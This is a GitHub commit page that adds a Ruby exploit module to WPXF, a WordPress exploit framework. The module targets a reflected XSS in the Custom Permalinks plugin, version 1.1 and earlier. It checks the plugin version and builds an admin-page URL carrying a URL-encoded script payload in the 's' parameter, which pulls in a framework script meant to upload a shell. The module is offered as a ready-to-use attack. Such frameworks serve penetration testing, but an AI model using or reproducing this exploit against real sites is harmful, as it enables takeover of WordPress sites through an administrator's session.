Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 1cb9f3c

Browse files
committed
Add Custom Permalinks <= 1.1 reflected XSS shell upload
1 parent 918533c commit 1cb9f3c

File tree

1 file changed

+33
-0
lines changed

1 file changed

+33
-0
lines changed
Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
# frozen_string_literal: true
2+
3+
class Wpxf::Exploit::CustomPermalinksReflectedXssShellUpload < Wpxf::Module
4+
include Wpxf::WordPress::ReflectedXss
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'Custom Permalinks <= 1.1 Reflected XSS Shell Upload',
11+
author: [
12+
'Karim El Ouerghemmi', # Dislosure
13+
'rastating' # WPXF module
14+
],
15+
references: [
16+
['WPVDB', '9030']
17+
],
18+
date: 'Feb 22 2018'
19+
)
20+
end
21+
22+
def check
23+
check_plugin_version_from_readme('custom-permalinks', '1.2')
24+
end
25+
26+
def xss_payload
27+
url_encode("<script>#{xss_ascii_encoded_include_script}</script>")
28+
end
29+
30+
def url_with_xss
31+
"#{wordpress_url_admin_options}?page=custom-permalinks-post-permalinks&s=#{xss_payload}"
32+
end
33+
end

0 commit comments

Comments
 (0)